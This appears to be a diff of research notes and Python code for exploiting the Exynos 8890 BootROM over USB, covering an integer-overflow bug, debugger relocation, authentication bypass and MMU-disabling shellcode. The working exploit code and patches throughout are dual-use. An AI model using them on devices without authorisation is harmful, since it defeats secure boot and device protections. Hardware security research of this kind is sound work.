After booting BL31, the MMU seems to be set up, and we're unable to do get any data off of spaces we're not 'allowed' to access. Patching the if-statement at 0x020244e8, disables the bit that says that the MMU is setup, but booting into recovery is possible (meaning the MMU is setup). Additionally, the memory at 0x02035600 is still not dumpable. At 0x02048000 is still accessible. After booting BL31, the MMU seems to be set up, and we're unable to do get any data off of spaces we're not 'allowed' to access. Patching the if-statement at 0x020244e8, disables the bit that says that the MMU is setup, but booting into recovery is possible (meaning the MMU is setup). Additionally, the memory at 0x02035600 is still not dumpable. At 0x02048000 is still accessible.
Weird space found at 0x105c2400. Seems to contain references to usb buffer (about 48-64 bytes). Weird space found at 0x105c2400. Seems to contain references to usb buffer (about 48-64 bytes). Also space at 0x020307f0, but I lose access to this after booting
Also space at 0x020307f0
.. code-block:: python .. code-block:: python
@ -37,3 +180,28 @@ Interesting links:
- `UART on S8 <https://grimler.se/posts/exynos-uart/>`_ - `UART on S8 <https://grimler.se/posts/exynos-uart/>`_
By accident found space at 0x11207010. Seems to be a memory read/write space. Not executable however, unless the MMU is turned off. By accident found space at 0x11207010. Seems to be a memory read/write space. Not executable however, unless the MMU is turned off.
We can use this space to store our debugger, and patch the boot process. After loading BL2, we're now indeed loading VBAR's for EL1.
bl31
MMU is 0x0 (0x1=enabled, 0x0=disabled)
TTBR0_EL3: 0xbc4640892f1460, TTBR1_EL2: 0x854d39cb76f0, TTBR0_EL1: 0xa5c20f408c581142
VBAR_EL3: 0x18800, VBAR_EL2: 0x0, VBAR_EL1: 0x0
TCR_EL3: 0x0, TCR_EL2: 0x80800000, TCR_EL1: 0x0
SCTLR_EL3: 0xc5183a, SCTLR_EL2: 0x30c5083a, SCTLR_EL1: 0xc5083a
MAIR_EL3: 0x44e048e000098aa4, MAIR_EL2: 0x9e42bf572931240b, MAIR_EL1: 0x44e048e000098aa4
Current EL: 0xc
Jumped to 0x11207010 and back
bL2
[+] Sent stage
Connected device! 0x4e8 0x1234
MMU is 0x0 (0x1=enabled, 0x0=disabled)
TTBR0_EL3: 0xbc4640892f1460, TTBR1_EL2: 0x854d39cb76f0, TTBR0_EL1: 0xa5c20f408c581142
VBAR_EL3: 0x2031800, VBAR_EL2: 0x0, VBAR_EL1: 0x2053800
TCR_EL3: 0x0, TCR_EL2: 0x80800000, TCR_EL1: 0x0
SCTLR_EL3: 0xc5183a, SCTLR_EL2: 0x30c5083a, SCTLR_EL1: 0x30c5083a
MAIR_EL3: 0x44e048e000098aa4, MAIR_EL2: 0x9e42bf572931240b, MAIR_EL1: 0x44e048e000098aa4
Current EL: 0xc

309
documentation/source/BootROM_8890/boot_chain.rst
View File

@ -1,309 +0,0 @@
.. _boot-chain-label:
=======
Booting
=======
This part describes the boot chain of the ``Exynos 8890`` SoC.
Memory overview
===============
.. raw:: html
<iframe src="../_static/stack_and_functions.html" width="100%" height="1000px" frameborder="0" float='center'></iframe>
Exploitation
============
After exploitation the goal is to fully boot the device. The following part describes the current boot chain
.. important::
This is under development and will still change.
The first stage is downloading BL1, authenticating it and patching it after authentication.
This is done by overwriting the USB return address pointer and jumping back to the debugger.
In the debugger we can authenticate BL1, patch it and boot it. An overview of this process is shown below:
Booting an authenticated and patched BL1:
.. figure:: images/boot_chain_bl1.drawio.svg
:align: center
Boot chain
.. note::
git commit 8cb5f2e1 fully boots, you can use this commit to patch bl1 only.
Next up is BL31, which is loaded by BL1.
``BL31`` is the secure monitor. The monitor uses memory that is also being used by the debugger, so we will have to relocate it to keep code exeuction.
.. figure:: images/bl31_debugger_memory_example.png
:align: center
Example of BL31 using debugger memory.
BL31 also configures the VBAR_EL3 and MMU so the memory mapping will probably change after this stage (preparation for trustzone?).
It would be nice to patch BL31 before it is being executed. However the current exploit boot flow does not allow this because the ROM function downloads the next stage.
Notes
-----
As done by Frederic, the bootrom can be dumped using his provided scripts, and can the be split into different boots:
.. code-block:: bash
./exynos-usbdl e payloads/Exynos8890_dump_bootrom.bin dumped_sboot.bin
scripts/split-sboot-8890.sh dumped_sboot.bin
This results in the following files:
.. list-table:: bootrom stages
:header-rows: 1
* - File
- Strings output
- Likely boot stage?
* - sboot.bin.1.bin
- Exynos BL1
- BL1
* - sboot.bin.2.bin
- BL31 %s
- BL31
* - sboot.bin.3.bin
- Unsure. Contains strings like: TOP_DIV_ACLK_MFC_600 and APOLLO_DIV_APOLLO_RUN_MONITOR
- BL2?
* - sboot.bin.4.bin
- Contains more textual information, and references to post BL2 boot, and android information
- Kernel boot/BL33?
After loading the stage1 (entry.S - Frederic's exploit), we're allowed to send custom payloads to the device. The first payload that is then sent, is the debugger.
Debugger
--------
The initial debugger is written to ``0x2069000``, with debugger_stack and _storage at ``0x0206b000`` and ``0x0206d000`` respectively.
After the initial loading of the debugger, the processor state reported is (using ghidra assistant):
.. code-block:: bash
root | DEBUG |
X0 : 0x0 | X1 : 0xffffffff | X2 : 0x20215d8 | X3 : 0x2021894 | X4 : 0x4 | X5 : 0x0 | X6 : 0x0 |
X7 : 0x136c0008 | X8 : 0x2069000 | X9 : 0x0 | X10 : 0x2070000 | X11 : 0x0 | X12 : 0x0 | X13 : 0x0 |
X14 : 0xf | X15 : 0x206d000 | X16 : 0x9 | X17 : 0x0 | X18 : 0x1 | X19 : 0x2000 | X20 : 0x2069000 |
X21 : 0x0 | X22 : 0x0 | X23 : 0x0 | X24 : 0x0 | X25 : 0x0 | X26 : 0x0 | X27 : 0x1 |
X28 : 0x0 | X29 : 0x2020f00 | LR/X30 : 0x20219b8 | SP/X31 : 0x2020ef0
LR/X30 being the line register. This is the address the processor will jump to when the function is done (important to keep track off).
After a cache flush, the debugger seems to be cleared as well, so the debugger is relocated to ``0x20c0000``, with _stack and _storage now at ``0x20c2000`` and ``0x20c4000`` respectively. This is done by running:
.. code-block:: python
self.cd.arch_dbg.state.auto_sync = False
self.cd.arch_dbg.state.auto_sync_special = False
self.cd.arch_dbg.state.print_ctx()
def relocate_debugger():
# Seems to be cleared upon cache clearing??
debugger_reloc = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/reloc_debugger.bin", "rb").read()
self.cd.memwrite_region(0x020c0000, debugger_reloc)
self.usb_write(b"FLSH") # Flush cache
self.cd.restore_stack_and_jump(0x020c0000)
assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger"
self.cd.relocate_debugger(0x020c7000, 0x020c0000, 0x020c4000)
relocate_debugger()
The processor state reported then is:
.. code-block:: bash
root | DEBUG |
X0 : 0x0 | X1 : 0x1 | X2 : 0x20215d8 | X3 : 0x2021894 | X4 : 0x4 | X5 : 0x0 | X6 : 0x0 |
X7 : 0x136c0008 | X8 : 0x2069000 | X9 : 0x0 | X10 : 0x2070000 | X11 : 0x0 | X12 : 0x0 | X13 : 0x0 |
X14 : 0xf | X15 : 0x20c4000 | X16 : 0x9 | X17 : 0x0 | X18 : 0x1 | X19 : 0x2000 | X20 : 0x2069000 |
X21 : 0x0 | X22 : 0x0 | X23 : 0x0 | X24 : 0x0 | X25 : 0x0 | X26 : 0x0 | X27 : 0x1 |
X28 : 0x0 | X29 : 0x2020f00 | LR/X30 : 0x20c0000 | SP/X31 : 0x2020ef0
Initial boot function (BL1)
---------------------
.. figure:: images/initial_boot_function.png
:align: center
Overview of the initial boot function in the exynos 8890
BL1 needs to be authenticated. BL1 loads at address ``0x02024000`` and contains some form of header (ramdump). There seems to be a samsung header format, where the first 4 bytes define the entry point of the binary. In this case this entry is ``+0x10`` so we jump to ``0x02024010``. Authentication seems to be done at ``0x00012848``. Initially we thought that 0x0 indicated a verified boot state (as is plausible when reading the decompiled code in Ghidra). But after modifying BL1 in the header and contents, this value did not change.
.. code-block:: python
# Try loading bl1
bl1 = open("../S7/bl1.bin", "rb").read()
self.cd.memwrite_region(0x02021800, bl1)
# self.usb_write(b"FLSH")
AUTH_BL1 = 0x00012848
def auth_bl1(lr=0x2069000):
# Load the firmware
self.cd.arch_dbg.state.W0 = 1
self.cd.arch_dbg.state.X1 = 1
self.cd.arch_dbg.state.LR = lr #jump back to debugger when finished
self.cd.restore_stack_and_jump(AUTH_BL1)
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!"
auth_bl1(0x020c0000)
.. figure:: images/bl1_auth_references.png
:align: center
BL1 authentication
At this point, we assumed that the authentication was succesful, and the bootROM would jump back to the debugger after loading, but this was not the case. After running this function, we were able to send a single packet, but never received a response. Indicating that the function we were executing never returned on us.
If authentication at auth_bl1 is succesful, the returns a value from a function at ``1230c``. This function does some things, but eventually jumps to a function at:
.. figure:: images/bl1_auth_follow-up_1230c.png
:align: center
BL1 authentication
After authentication the bootROM jumps to this function at, we can execute this function with the debugger.
.. code-block:: python
self.cd.memwrite_region(0x02020f60, p32(0x020c0000))
BOOT_BL1 = 0x00019310
def jump_bl1(lr):
self.cd.arch_dbg.state.LR = lr
self.cd.restore_stack_and_jump(BOOT_BL1)
jump_bl1(0x020c0000)
jump_fwbl1()
BL1 is loaded at the download buffer and self copies to ``0x02022000`` and resumes execution there, with a size of 0x2000 (``0x02022000`` to ``0x02024000``).
However, this does not result in a jump back to the debugger. But the ROM still allows receival of one data package from the USB host (this is likely the system 'waiting' to receive the bootloader).
By adding the IMEM to ghidra, we can have a look at what is going here. After having modified the LR to jump back to the debugger and jumping into auth_bl1 at ``0x00012848`` we jump back to the debugger. Jumping into BL1 at ``2c0`` does not return us to the debugger. Here we need to hijack ``020200dc`` and ``02021880`` we're able to boot into BL1. We store the address of the hijacked function, to restore it later for a proper boot flow.
.. code:: python
auth_bl1(DEBUGGER_ADDR)
self.usb_write(b"FLSH") # Flush cache
hijacked_fun = u32(self.cd.memdump_region(0x020200dc, 4))
# BL1 patches
self.cd.memwrite_region(0x020200dc, p32(DEBUGGER_ADDR)) # hijack ROM_DOWNLOAD_USB for BL31
self.cd.memwrite_region(0x02021880, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR, branch_ins="br"))
Authentication of BL1 seems to be done at ``0x0012848``. With return value '0' expected when this function is executed, to execute other functions.
.. figure:: images/bl1_auth_references.png
:align: center
BL1 authentication.
purpose
^^^^^^^
bl1 interacts with several pheriperals, from the DTB these are:
.. code-block:: dtsi
/* FSYS0 */
pinctrl_5: pinctrl@10E60000 {
compatible = "samsung,exynos8890-pinctrl";
reg = <0x0 0x10E60000 0x1000>;
interrupts = <0 212 0>;
};
/* FSYS1 */
pinctrl_6: pinctrl@15690000 {
compatible = "samsung,exynos8890-pinctrl";
reg = <0x0 0x15690000 0x1000>;
interrupts = <0 202 0>;
};
/* PERIC1 */
pinctrl_9: pinctrl@14CC0000 {
compatible = "samsung,exynos8890-pinctrl";
reg = <0x0 0x14CC0000 0x1000>;
interrupts = <0 460 0>;
};
pmu_system_controller: system-controller@105C0000 {
compatible = "samsung,exynos8890-pmu", "syscon";
reg = <0x0 0x105C0000 0x10000>;
};
rtc@10070000 {
compatible = "samsung,s3c6410-rtc";
reg = <0x0 0x10070000 0x100>;
interrupts = <0 73 0>, <0 74 0>;
clocks = <&clock 157>;
clock-names = "gate_rtc";
};
Probably the only thing it does is set some clocks and prepare for BL31.
BL31
----
BL31 is written at ``0x02024000`` with the entry point at ``0x02024010``.
BL2
---
0x02e8dc mentions 'Onyx-OPR6-8511R1', which is likely sboot.
OLD
---
The reason for this is the following code in bl1:
.. code-block:: c
iVar3 = FUN_02024320();
if (iVar3 == 1) {
(*(code *)(ulong)uRam0000000002020108)(0,1);
}
This code uses a predefined ROM function(I was looking for it) and jumps back to that function when it's done.
This function is at address ``0x020200e8``, looking in our IMEM dump we can see where in the ROM this points to:
.. code-block:: c
DAT_02020108 XREF[2]: FUN_00001708:000018b4(W),
FUN_02021970:02021a40(R)
02020108 90 57 00 00 undefined4 00005790h
Replacing this function with our debugger makes us jump back:
.. code-block:: python
# Overwrite jump back
self.cd.memwrite_region(0x02020108, p32(0x2069000))
self.cd.memwrite_region(0x020200e8, p32(0x2069000))
def jump_bl1():
self.cd.arch_dbg.state.LR = 0x2069000
self.cd.restore_stack_and_jump(0x02024010)
# self.cd.restore_stack_and_jump(0x02021810)
bl1 = open("../S7/bl1.bin", "rb").read()
self.cd.memwrite_region(0x02024000, bl1)
self.usb_write(b"FLSH")
# auth_bl1()
jump_bl1()
assert self.usb_read(0x200) == b"GiAs", "not jumped back to debugger?"
self.cd.arch_dbg.state.print_ctx()
root | DEBUG |
X0 : 0xc00000 | X1 : 0x2069000 | X2 : 0x0 | X3 : 0x2023114 | X4 : 0x4 | X5 : 0x0 | X6 : 0x0 |
X7 : 0x136c0008 | X8 : 0x2069000 | X9 : 0x0 | X10 : 0x2070000 | X11 : 0x0 | X12 : 0x0 | X13 : 0x0 |
X14 : 0xf | X15 : 0x206d000 | X16 : 0x9 | X17 : 0x0 | X18 : 0x1 | X19 : 0x20200e8 | X20 : 0x0 |
X21 : 0x80000000 | X22 : 0x0 | X23 : 0x0 | X24 : 0x0 | X25 : 0x0 | X26 : 0x0 | X27 : 0x1 |
X28 : 0x0 | X29 : 0x2020ed8 | LR/X30 : 0x202419c | SP/X31 : 0x2020ec0
However this does not fully run bl1, so we will have to dig a bit deeper to see the puropose and when to jump back to the debugger.

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===================
Exynos BootROM 8890
===================
The Exynos 8890 BootROM is a small piece of code that runs on the Exynos SoC at boot time.
It is responsible for initializing the hardware and loading the first stage bootloader from storage.
The BootROM is stored in a read-only memory and cannot be modified.
Protections
-----------
There are no stack canaries or guard pages, and no ASLR. Meaning there are almost no protections in place. There is however an SMC and a MMU. The SMC is used to communicate with the secure world, and the MMU is used to map the memory.
Rom is at address 0x0 and is unwritable (Sometimes this is writeable due to MMU caching).
Samsung Firmware
----------------
Samsung releases firmware files for their devices. These files contain the bootloader, modem, and other firmware files.
To see how the ROM works we are interested in the sboot firmware, which contains multiple stages of the bootloader.
To extract the sboot.bin file from a samsung firmware file:
.. code-block:: bash
$ unzip -p firmware.zip 'BL_*.tar.md5' | tar -Oxf - 'sboot.bin.lz4' | lz4 -d - sboot.bin
Frederic has also written a payload to extract the sboot.bin file from a connected samsung device (See: :ref:`boot-chain-label`). The extracted boots can be split up in different stages. We're provied with sboot 1-4.bin. Running strings then provides us with some information about each stage.
.. code-block:: bash
$ strings -n4 sboot.bin.1.bin
Memory Layout
-------------
TODO make memory layout of ROM, IMEM and some devices @JONHE
.. figure:: images/memory_layout.drawio.svg
The memory layout of the Exynos 8890
- 0x00000000 to 0x00020000: BootROM
- 0x000002c0: BL1 boot entry point
- 0x00012848: bootrom authentication function
- 0x00019310: BL1 boot function
- 0x02069000: First debugger location
Download protocol
-----------------
When the ROM is unable to boot from the internal storage, it enters ``Exynos Recovery Mode``.
In this mode the bootROM accepts data over USB.
There is little functionality other than receiving data, meaning almost no additional attack surface except for the download protocol.
The Exynos BootROM uses a custom protocol to download a bootable image over USB. This image is verified and executed by the BootROM. Unauthorized images are rejected. Initial authorisation is done using the '_auth_bl1' function.
(TODO verify and document)
dldata
^^^^^^
For uploading a stage to boot, a custom protocol is used. The dldata that has to be send is the following:
.. figure:: images/dl_packet.drawio.svg
The dldata packet is used to send data to the BootROM.
The size in the packet is the total size of the packet, including header and footer.
.. info::
This protocol remains *mostly* the same for newer Exynos SoCs.
USB Stack
---------
This information is largely based on the blogpost of Frederic on reversing the `USB stack of the Exynos BootROM <https://fredericb.info/2020/06/reverse-engineer-usb-stack-of-exynos-bootrom.html#reverse-engineer-usb-stack-of-exynos-bootrom>`_. We're looking at the proprietary USB protocol used by the Exynos BootROM.
The base address of the usb controller (dwusb3) is mapped at 0x1540000, with a size of 0x10000: (can be found at: `Exynos8890 dtsi <https://github.com/LineageOS/android_kernel_samsung_universal8890/tree/lineage-18.1/arch/arm64/boot/dts>`_).
.. code-block:: dts
udc: usb@15400000 {
compatible = "samsung,exynos8890-dwusb3";
clocks = <&clock 700>, <&clock 703>, <&clock 708>, <&clock 709>;
clock-names = "aclk", "sclk", "phyclock", "pipe_pclk";
reg = <0x0 0x15400000 0x10000>;
#address-cells = <2>;
#size-cells = <1>;
ranges;
usb-pm-qos-int = <255000>;
status = "disabled";
usbdrd_dwc3: dwc3 {
compatible = "synopsys,dwc3";
reg = <0x0 0x15400000 0x10000>;
interrupts = <0 213 0>;
phys = <&usbdrd_phy0 0>, <&usbdrd_phy0 1>;
phy-names = "usb2-phy", "usb3-phy";
};
};c
This is a basic USB controller, but some functions, that are also present in the linux kernel, should be visible in the bootROM as well. Available functions could be: `linux-kernel-dwc3 <https://android.googlesource.com/kernel/msm/+/android-msm-dory-3.10-kitkat-wear/drivers/usb/dwc3/core.h>`_.
The USB host sends a USB_REQ_SET_ADDRESS, `'0x05' <https://asf.microchip.com/docs/latest/common.services.usb.class.composite.device.example.hidms_msc.saml21_xplained_pro/html/group__usb__protocol__group.html>`_, which the connected device has to acknowledge, and will then start sending data to this address. Initially, the device will send data to '0x00'.
.. code:: c
usb_reqid {
USB_REQ_GET_STATUS = 0,
USB_REQ_CLEAR_FEATURE = 1,
USB_REQ_SET_FEATURE = 3,
USB_REQ_SET_ADDRESS = 5,
USB_REQ_GET_DESCRIPTOR = 6,
USB_REQ_SET_DESCRIPTOR = 7,
USB_REQ_GET_CONFIGURATION = 8,
USB_REQ_SET_CONFIGURATION = 9,
USB_REQ_GET_INTERFACE = 10,
USB_REQ_SET_INTERFACE = 11,
USB_REQ_SYNCH_FRAME = 12
}
Ghidra shows `DWC3_DCFG & 0xfffffc00 | DWC3_DCFG & 7 | (param_1 & 0x7f) << 3;`, essentially preserves bits 0-2 and 10-31, and sets bits 3-9 to the value of param_1, which is then likely the address of the device.
.. figure:: images/ghidra_dwc3_dcfg_devaddr.png
bootrom exynos 8890 dwc3_dcfg_devaddr
Other general device descriptors are also sent from the device to the host (to describe the device), these are visible in/at 'usb_init_device_descriptor' (6098) and usb_init_descriptors (610c). Two end point addresses are visible: bEndpointAddress 0x81 and 0x02. 0x81 is 10000001 in binary, with bit 7 being '1', which means that the bulk transfer direction is IN. 0x02 is 00000010 in binary, with bit '7' being '0', which means that the bulk transfer direction is OUT.
Data is transferred via Transfer Request Blocks (TRB), dwc3_depcmd_starttransfer is used. The TRB then contains a buffer address, where transferred data from the host is written to. The buffer allocation is done by 'usb_setup_event_buffer', which sets bufferHigh (DWC3_GEVNTADRLO), bufferLow (DWC3_GEVNTADRHI) and bufferSize (DWC3_GEVNTSIZ).
Bug 1 (Integer overflow)
^^^^^^^^^^^^^^^^^^^^^^^^
Originally described in this `blogpost <https://fredericb.info/2020/06/exynos-usbdl-unsigned-code-loader-for-exynos-bootrom.html#exynos-usbdl-unsigned-code-loader-for-exynos-bootrom>`_.
The exynos bootrom uses a simple USB protocol to receive a bootloader binary from a USB host. The binary sent is called 'dldata'. In Ghidra, at 21518, we can see that it consists of unit32_t: ready?, uint32: size, ? : data, uint16: footer. The contents of this data are checked before being being written.
.. figure:: images/usb_setup_ready_to_0.png
The ready flag is set to 0 in the Exynos 8890 BootROM in an earlier function on pdVar1->size (pdVar1.size)
.. figure:: images/dl_data_struct.png
The dldata struct in the Exynos 8890 BootROM
.. code:: c
if ((pdVar1->size < 0x206ffff) && (0x206ffff < pdVar1->size + remaining)) {
*(undefined *)&pdVar1->ready = 2;
}
In essence, the payload is not allowed to be larger than 0x206fff (34013183), it checks so with 2 seperate checks
1) In the first condition, the size has to be smaller than 0x206ffff (`pdVar1->size < 0x206ffff`) (34013183 in decimal),
2) and in the second condition, it checks whether 0x206ffff is indeed still less than the size of the payload + remaining (size + remaining)(`0x206ffff < pdVar1->size + remaining`).
If both conditions are met, the payload will NOT be loaded. But this makes sense, as both checks just ensure that the payload is not larger than 0x206ffff.
The bug is however, that the check that the check is done on a uint32_t (2^32 = 4294967296), but the max value that can be checked by a uint32 is 0xFDFDE7FF = 4294967295. So a value of 0xFDFDE7FF + 1 = 0xFDFDE800 = 4294967296, which is larger than the max value of a uint32. So if a payload of this size or more is used, which is much larger than the max requested value 0x206ffff, the check will pass and the payload will still be loaded.
.. figure:: images/usb_payload_size_check.jpeg
The size check in the Exynos 8890 BootROM
Sending such large amounts of data can cause a memory overflow, and will cause the target to crash. Not interesting for exploitation in this context. However, the USB packages that are sent, are split into smaller packages with a size of 0xFFFE00.
.. figure:: images/max_allowed_chunck_size.jpeg
The max allowed chunk size, after which the payload is split.
The dl_buf pointer is set to the amount it expects to write, instead to the amount that it has written. By transferring a large amount of data, without actually writing it (so in a package, send no data, but tell the target that you're sending data with a length larger than 0xFDFDE800), will cause the pointer to move, without actually writing data.
The trick then becomes, to get the pointer to an address we would like to exploit unto. Then we have a little less than 512 bytes (502 according to dldata) to write our payload.
.. code:: c
typedef struct dldata_s {
u_int32_t ready; //start = 02021518, end = 0202151C. Length = 4
u_int32_t size; //start = 0202151C, end = 02021520. Length = 4
u_int8_t data[n]; //start = 02021520, end = 02021714. Length = 502 == MAX TRANSFER SIZE
u_int16_t footer; //start = 02021714, end = 02021716. Length = 2
} dldata;
Bug 2
^^^^^
.. caution::
Might be a 0/N-day if exploitable
@ELHER
There is a bug(unpatched?) in receiving the last packet of the usb image:
.. figure:: images/underflow_bug.png
The bug is an integer underflow in the calculation of the remaining size of the image.
DWC3
^^^^
The Exynos 8890 uses the Synopsys DesignWare USB 3.0 controller.
Much of the code is shared with the DWC3 driver in the Linux kernel, except that the ROM does not do any scheduling and a lot of features have been removed(OTG handling, etc).
Gupje
^^^^^
In order to run the debugger, a small amount of the bootROM was reversed in order to implement send/recv functionality.

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========
Emulator
========
What is interesting about the ROM is that it starts by checking MPIDR_EL1 register and doing a conditional branch to 0x20e0000.
.. code-block:: ghidra
undefined w0:1 <RETURN>
Reset XREF[1]: Entry Point(*)
00000000 bb 00 38 d5 mrs x27,mpidr_el1
00000004 7b 0f 78 92 and x27,x27,#0xf00
00000008 7f 03 00 f1 cmp x27,#0x0
0000000c 41 00 00 54 b.ne LAB_00000014
00000010 fc 7f 83 14 b LAB_020e0000
Week 35 - 2024
===============
After booting BL31, the MMU seems to be set up, and we're unable to do get any data off of spaces we're not 'allowed' to access. Patching the if-statement at 0x020244e8, disables the bit that says that the MMU is setup, but booting into recovery is possible (meaning the MMU is setup). Additionally, the memory at 0x02035600 is still not dumpable. At 0x02048000 is still accessible.
Weird space found at 0x105c2400. Seems to contain references to usb buffer (about 48-64 bytes).
Also space at 0x020307f0
.. code-block:: python
self.cd.memdump_region(0x105c2400, 0x40).hex()
'0f0f00000f0008002100000000000000ffffffffffffffffffffffffffffffff0f0f00000f0008002101000000000000ffffffffffffffffffffffffffffffff'

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TTBR0_EL3: 0xbc46508b2f1462
Bits: 0000000010111100010001100101000010001011001011110001010001100010
root | INFO | Connection is working
Connected device! 0x4e8 0x1234
[+] Sent stage
TTBR0_EL3: 0xbc46508b2f1462
Bits: 0000000010111100010001100101000010001011001011110001010001100010
Connected device! 0x4e8 0x1234
[+] Sent stage
TTBR0_EL3: 0xbc46508b2f1462
Bits: 0000000010111100010001100101000010001011001011110001010001100010
TTBR0_EL3: 0xbc42508b2f1462
Bits: 0000000010111100010000100101000010001011001011110001010001100010
root | INFO | Connection is working
Connected device! 0x4e8 0x1234
[+] Sent stage
TTBR0_EL3: 0xbc42508b2f1462
Bits: 0000000010111100010000100101000010001011001011110001010001100010
Connected device! 0x4e8 0x1234
[+] Sent stage
TTBR0_EL3: 0xbc42508b2f1462
Bits: 0000000010111100010000100101000010001011001011110001010001100010
TTBR0_EL3: 0xbc42508b2f1462
Bits: 0000000010111100010000100101000010001011001011110001010001100010
root | INFO | Connection is working
Connected device! 0x4e8 0x1234
[+] Sent stage
TTBR0_EL3: 0xbc42508b2f1462
Bits: 0000000010111100010000100101000010001011001011110001010001100010
Connected device! 0x4e8 0x1234
[+] Sent stage
TTBR0_EL3: 0xbc42508b2f1462
Bits: 0000000010111100010000100101000010001011001011110001010001100010
TTBR0_EL3: 0xbc46508b2f1462
Bits: 0000000010111100010001100101000010001011001011110001010001100010
root | INFO | Connection is working
Connected device! 0x4e8 0x1234
[+] Sent stage
TTBR0_EL3: 0xbc46508b2f1462
Bits: 0000000010111100010001100101000010001011001011110001010001100010
Connected device! 0x4e8 0x1234
[+] Sent stage
TTBR0_EL3: 0xbc46508b2f1462
Bits: 0000000010111100010001100101000010001011001011110001010001100010
TTBR0_EL3: 0xbc46508b2f1460
Bits: 0000000010111100010001100101000010001011001011110001010001100000
root | INFO | Connection is working
Connected device! 0x4e8 0x1234
[+] Sent stage
TTBR0_EL3: 0xbc46508b2f1460
Bits: 0000000010111100010001100101000010001011001011110001010001100000
Connected device! 0x4e8 0x1234
[+] Sent stage
TTBR0_EL3: 0xbc46508b2f1460
Bits: 0000000010111100010001100101000010001011001011110001010001100000

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@ -146,9 +146,7 @@ class ExynosDevice():
def send_normal_stage(self, payload): def send_normal_stage(self, payload):
''' """Send next boot stage to the device"""
TODO not working
'''
# construct dl_data # construct dl_data
dpayload = struct.pack("<II", 0, (len(payload) + 8 + 2)) dpayload = struct.pack("<II", 0, (len(payload) + 8 + 2))
dpayload = dpayload + payload + b"\x00" * 2 # add footer dpayload = dpayload + payload + b"\x00" * 2 # add footer
@ -205,10 +203,8 @@ class ExynosDevice():
ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE) # ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE) #
# Assert that payload is 502 bytes # Assert that payload is 502 bytes
# max_payload_size = 0xffffffff - current_offset + DL_BUFFER_SIZE + TARGET_OFFSETS[self.target][1]
# max_payload_size = (TARGET_OFFSETS[self.target][2] - TARGET_OFFSETS[self.target][0]) - 0x200
payload = payload + ((max_payload_size - len(payload)) * b"\x00") payload = payload + ((max_payload_size - len(payload)) * b"\x00")
assert len(payload) == max_payload_size, "Invalid payload" assert len(payload) == max_payload_size, "Invalid payload. Size is wrong"
# First send payload to trigger the bug # First send payload to trigger the bug
bug_payload = p32(0) + p32(size_to_overflow) + payload[:MAX_PAYLOAD_SIZE] # dummy packet for triggering the bug bug_payload = p32(0) + p32(size_to_overflow) + payload[:MAX_PAYLOAD_SIZE] # dummy packet for triggering the bug
@ -558,6 +554,26 @@ class ExynosDevice():
# self.cd.restore_stack_and_jump(0x00012814) # self.cd.restore_stack_and_jump(0x00012814)
# self.cd.restore_stack_and_jump(0x000125b4) # self.cd.restore_stack_and_jump(0x000125b4)
def disable_mmu(self, address=0x02060000):
# ================= WORKS TO DISABLE DEBUGGER. BUT UNNECESSARY =================
# Disable MMU and branch to 0x02048000
shellcode=f"""
mrs x0, sctlr_el3
bic x0, x0, #1
msr sctlr_el3, x0
ldr x0, =0x2048000
br x0
"""
shellcode = ks.asm(shellcode, as_bytes=True)[0]
self.cd.memwrite_region(address, shellcode)
self.cd.jump_to(address)
time.sleep(1)
self.usb_read(0x200) # GiAs
self.cd.arch_dbg.fetch_special_regs()
print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (0x1=enabled, 0x0=disabled)')
def get_ttbr0_el3(self): def get_ttbr0_el3(self):
""" """
Get the TTBR0_EL3 register using opcode. Get the TTBR0_EL3 register using opcode.
@ -615,16 +631,6 @@ class ExynosDevice():
self.cd.arch_dbg.state.print_ctx() self.cd.arch_dbg.state.print_ctx()
DEBUGGER_ADDR = 0x2069000 # 0x2069000 DEBUGGER_ADDR = 0x2069000 # 0x2069000
# # Relocate to other debugger to 02048000 (after BL31, space in 0x020c0000 is no longer reachable -> dying debugger)
# debugger = open("../../dump/reloc_debugger_0x2048000.bin", "rb").read()
# self.relocate_debugger(debugger=debugger, entry=0x02048000, storage=0x02051000, g_data_received=0x02052000)
# DEBUGGER_ADDR = 0x02048000
# # # Relocate to other debugger to 020c0000
# debugger = open("../../dump/reloc_debugger.bin", "rb").read()
# self.relocate_debugger(debugger)
# DEBUGGER_ADDR = 0x020c0000
# Relocate debugger # Relocate debugger
debugger = open("../../dump/reloc_debugger_0x11200000.bin", "rb").read() debugger = open("../../dump/reloc_debugger_0x11200000.bin", "rb").read()
self.relocate_debugger(debugger=debugger, entry=0x11200000, storage=0x11201200, g_data_received=0x11201400) self.relocate_debugger(debugger=debugger, entry=0x11200000, storage=0x11201200, g_data_received=0x11201400)
@ -647,6 +653,10 @@ class ExynosDevice():
time.sleep(1) time.sleep(1)
self.connect_device() self.connect_device()
# Send boot stage 1
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.1.bin", "rb").read())
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
# Setup jump and bl_auth # Setup jump and bl_auth
AUTH_BL1 = 0x00012848 # Location of the authentication function AUTH_BL1 = 0x00012848 # Location of the authentication function
def auth_bl1(lr=0x2069000): def auth_bl1(lr=0x2069000):
@ -659,16 +669,6 @@ class ExynosDevice():
### Check if authentication was successful - X0 should not be 0?? ### Check if authentication was successful - X0 should not be 0??
# assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!" # assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!"
# Jump into BL1 (sboot.bin.1.bin)
JUMP_BL1 = 0x000002c0
def jump_bl1(lr):
self.cd.arch_dbg.state.LR = lr
self.cd.restore_stack_and_jump(JUMP_BL1)
# Send boot stage 1
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.1.bin", "rb").read())
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
# BL1 is loaded, now authenticate and patch it # BL1 is loaded, now authenticate and patch it
auth_bl1(DEBUGGER_ADDR) auth_bl1(DEBUGGER_ADDR)
self.usb_write(b"FLSH") # Flush cache (Frederic does this..) self.usb_write(b"FLSH") # Flush cache (Frederic does this..)
@ -678,6 +678,12 @@ class ExynosDevice():
